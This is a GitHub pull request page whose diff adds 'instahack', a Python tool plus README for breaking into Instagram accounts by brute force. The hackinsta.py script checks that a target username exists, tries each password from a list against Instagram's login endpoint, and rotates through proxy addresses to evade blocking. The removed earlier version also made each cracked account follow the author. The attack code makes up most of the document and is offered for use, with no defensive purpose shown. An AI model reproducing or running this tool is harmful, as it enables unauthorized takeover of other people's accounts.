-
Notifications
You must be signed in to change notification settings - Fork 1.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Hey #2
Open
inayatbindra
wants to merge
19
commits into
mark0909099:master
Choose a base branch
from
fuck3erboy:master
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Hey #2
Changes from all commits
Commits
Show all changes
19 commits
Select commit
Hold shift + click to select a range
15dee76
Add files via upload
avramit da5bac9
Update README.md
avramit 4e12ca5
Update README.md
avramit 53d0e8f
Update README.md
avramit dd70175
Add files via upload
avramit 1fcdadc
Add files via upload
avramit 36a331b
Add files via upload
avramit 85a9edd
Add files via upload
avramit e2fcd40
Add files via upload
avramit adbcc3d
Add files via upload
avramit ae573f5
Update README.md
avramit e03526a
Update README.md
avramit 99ba59f
Update hackinsta.py
avramit 5c818f5
Update all code
avramit 8487e4b
Update hackinsta.py
avramit 7b7b215
Update hackinsta.py
avramit 8081f4d
Update README.md
avramit 3fd25bf
Fix
avramit e22678a
Update hackinsta.py
avramit File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,6 @@ | ||
# instahack | ||
Hack instagram bruteforce | ||
[![Donate](https://img.shields.io/badge/Donate-PayPal-green.svg)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=ARVABYAUX3NPC) | ||
|
||
###### [*] Hack instagram accounts use bruteforce | ||
###### [*] for more proxy - go to https://www.torvpn.com/en/proxy-list | ||
![alt tag](https://raw.githubusercontent.com/avramit/instahack/master/screenshot.jpg) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,110 +1,168 @@ | ||
|
||
''' | ||
TODO LIST: | ||
Fix and make proxy function better | ||
Sort code again | ||
Add help function to all "Yes/no" questions | ||
Add help function to "Press enter to exit input" | ||
''' | ||
import requests | ||
import json | ||
import time | ||
import os | ||
|
||
filename = 'pass.txt' | ||
if os.path.isfile(filename): | ||
with open(filename) as f: | ||
passwords = f.read().splitlines() | ||
if (len(passwords) > 0): | ||
print ('%s Passwords loads successfully' % len(passwords)) | ||
else: | ||
print ('Please create passwords file (pass.txt)') | ||
exit() | ||
|
||
|
||
|
||
|
||
def userExists(username): | ||
r = requests.get('https://www.instagram.com/%s/?__a=1' % username) | ||
if (r.status_code == 404): | ||
print ('User not found') | ||
return False | ||
elif (r.status_code == 200): | ||
followdata = json.loads(r.text) | ||
fUserID = followdata['user']['id'] | ||
return {'username':username,'id':fUserID} | ||
|
||
|
||
def Login(username,password): | ||
sess = requests.Session() | ||
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''}) | ||
sess.headers.update({ | ||
'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36', | ||
'x-instagram-ajax':'1', | ||
'X-Requested-With': 'XMLHttpRequest', | ||
'origin': 'https://www.instagram.com', | ||
'ContentType' : 'application/x-www-form-urlencoded', | ||
'Connection': 'keep-alive', | ||
'Accept': '*/*', | ||
'Referer': 'https://www.instagram.com', | ||
'authority': 'www.instagram.com', | ||
'Host' : 'www.instagram.com', | ||
'Accept-Language' : 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4', | ||
'Accept-Encoding' : 'gzip, deflate' | ||
}) | ||
|
||
#first time -> to get csrftoken | ||
r = sess.get('https://www.instagram.com/') | ||
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']}) | ||
|
||
data = {'username':username, 'password':password} | ||
r = sess.post('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True) | ||
token = r.cookies.get_dict()['csrftoken'] | ||
sess.headers.update({'X-CSRFToken' : token}) | ||
#parse response | ||
data = json.loads(r.text) | ||
if (data['status'] == 'fail'): | ||
print (data['message']) | ||
return False | ||
|
||
if (data['authenticated'] == True): | ||
return sess #if we want to keep use session | ||
import random | ||
import sys | ||
|
||
#Help function | ||
def Input(text): | ||
value = '' | ||
if sys.version_info.major > 2: | ||
value = input(text) | ||
else: | ||
print ('Password incorrect [%s]' % password) | ||
return False | ||
value = raw_input(text) | ||
return str(value) | ||
|
||
#The main class | ||
class Instabrute(): | ||
def __init__(self, username, passwordsFile='pass.txt'): | ||
self.username = username | ||
self.CurrentProxy = '' | ||
self.UsedProxys = [] | ||
self.passwordsFile = passwordsFile | ||
|
||
#Check if passwords file exists | ||
self.loadPasswords() | ||
#Check if username exists | ||
self.IsUserExists() | ||
|
||
|
||
UsePorxy = Input('[*] Do you want to use proxy (y/n): ').upper() | ||
if (UsePorxy == 'Y' or UsePorxy == 'YES'): | ||
self.randomProxy() | ||
|
||
|
||
#Check if password file exists and check if he contain passwords | ||
def loadPasswords(self): | ||
if os.path.isfile(self.passwordsFile): | ||
with open(self.passwordsFile) as f: | ||
self.passwords = f.read().splitlines() | ||
passwordsNumber = len(self.passwords) | ||
if (passwordsNumber > 0): | ||
print ('[*] %s Passwords loads successfully' % passwordsNumber) | ||
else: | ||
print('Password file are empty, Please add passwords to it.') | ||
Input('[*] Press enter to exit') | ||
exit() | ||
else: | ||
print ('Please create passwords file named "%s"' % self.passwordsFile) | ||
Input('[*] Press enter to exit') | ||
exit() | ||
|
||
#Choose random proxy from proxys file | ||
def randomProxy(self): | ||
plist = open('proxy.txt').read().splitlines() | ||
proxy = random.choice(plist) | ||
|
||
if not proxy in self.UsedProxys: | ||
self.CurrentProxy = proxy | ||
self.UsedProxys.append(proxy) | ||
try: | ||
print('') | ||
print('[*] Check new ip...') | ||
print ('[*] Your public ip: %s' % requests.get('http://myexternalip.com/raw', proxies={ "http": proxy, "https": proxy },timeout=10.0).text) | ||
except Exception as e: | ||
print ('[*] Can\'t reach proxy "%s"' % proxy) | ||
print('') | ||
|
||
|
||
#Check if username exists in instagram server | ||
def IsUserExists(self): | ||
r = requests.get('https://www.instagram.com/%s/?__a=1' % self.username) | ||
if (r.status_code == 404): | ||
print ('[*] User named "%s" not found' % username) | ||
Input('[*] Press enter to exit') | ||
exit() | ||
elif (r.status_code == 200): | ||
return True | ||
|
||
#Try to login with password | ||
def Login(self, password): | ||
sess = requests.Session() | ||
|
||
if len(self.CurrentProxy) > 0: | ||
sess.proxies = { "http": self.CurrentProxy, "https": self.CurrentProxy } | ||
|
||
#build requests headers | ||
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''}) | ||
sess.headers.update({ | ||
'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36', | ||
'x-instagram-ajax':'1', | ||
'X-Requested-With': 'XMLHttpRequest', | ||
'origin': 'https://www.instagram.com', | ||
'ContentType' : 'application/x-www-form-urlencoded', | ||
'Connection': 'keep-alive', | ||
'Accept': '*/*', | ||
'Referer': 'https://www.instagram.com', | ||
'authority': 'www.instagram.com', | ||
'Host' : 'www.instagram.com', | ||
'Accept-Language' : 'en-US;q=0.6,en;q=0.4', | ||
'Accept-Encoding' : 'gzip, deflate' | ||
}) | ||
|
||
#Update token after enter to the site | ||
r = sess.get('https://www.instagram.com/') | ||
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']}) | ||
|
||
#Update token after login to the site | ||
r = sess.post('https://www.instagram.com/accounts/login/ajax/', data={'username':self.username, 'password':password}, allow_redirects=True) | ||
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']}) | ||
|
||
#parse response | ||
data = json.loads(r.text) | ||
if (data['status'] == 'fail'): | ||
print (data['message']) | ||
|
||
UsePorxy = Input('[*] Do you want to use proxy (y/n): ').upper() | ||
if (UsePorxy == 'Y' or UsePorxy == 'YES'): | ||
print ('[$] Try to use proxy after fail.') | ||
randomProxy() #Check that, may contain bugs | ||
return False | ||
|
||
#return session if password is correct | ||
if (data['authenticated'] == True): | ||
return sess | ||
else: | ||
return False | ||
|
||
|
||
def follow(sess, username): | ||
username = userExists(username) | ||
if (username == False): | ||
return | ||
else: | ||
userID = username['id'] | ||
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID) | ||
print (followReq.text) | ||
|
||
|
||
username = str(input('Please enter a username: ')) | ||
username = userExists(username) | ||
if (username == False): | ||
exit() | ||
else: | ||
username = username['username'] | ||
|
||
|
||
instabrute = Instabrute(Input('Please enter a username: ')) | ||
|
||
delayLoop = int(input('Please add delay between the passwords (in seconds): ')) | ||
try: | ||
delayLoop = int(Input('[*] Please add delay between the bruteforce action (in seconds): ')) | ||
except Exception as e: | ||
print ('[*] Error, software use the defult value "4"') | ||
delayLoop = 4 | ||
print ('') | ||
|
||
|
||
for i in range(len(passwords)): | ||
password = passwords[i] | ||
sess = Login(username,password) | ||
if (sess): | ||
print ('Login success %s' % [username,password]) | ||
|
||
#because i am cool | ||
follow(sess,'avr_amit') | ||
for password in instabrute.passwords: | ||
sess = instabrute.Login(password) | ||
if sess: | ||
print ('[*] Login success %s' % [instabrute.username,password]) | ||
else: | ||
print ('[*] Password incorrect [%s]' % password) | ||
|
||
try: | ||
time.sleep(delayLoop) | ||
except KeyboardInterrupt: | ||
an = str(input('Type y/n to exit: ')) | ||
if (an == 'y'): | ||
WantToExit = str(Input('Type y/n to exit: ')).upper() | ||
if (WantToExit == 'Y' or WantToExit == 'YES'): | ||
exit() | ||
else: | ||
continue | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
51.15.46.137 | ||
149.56.81.59 |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lol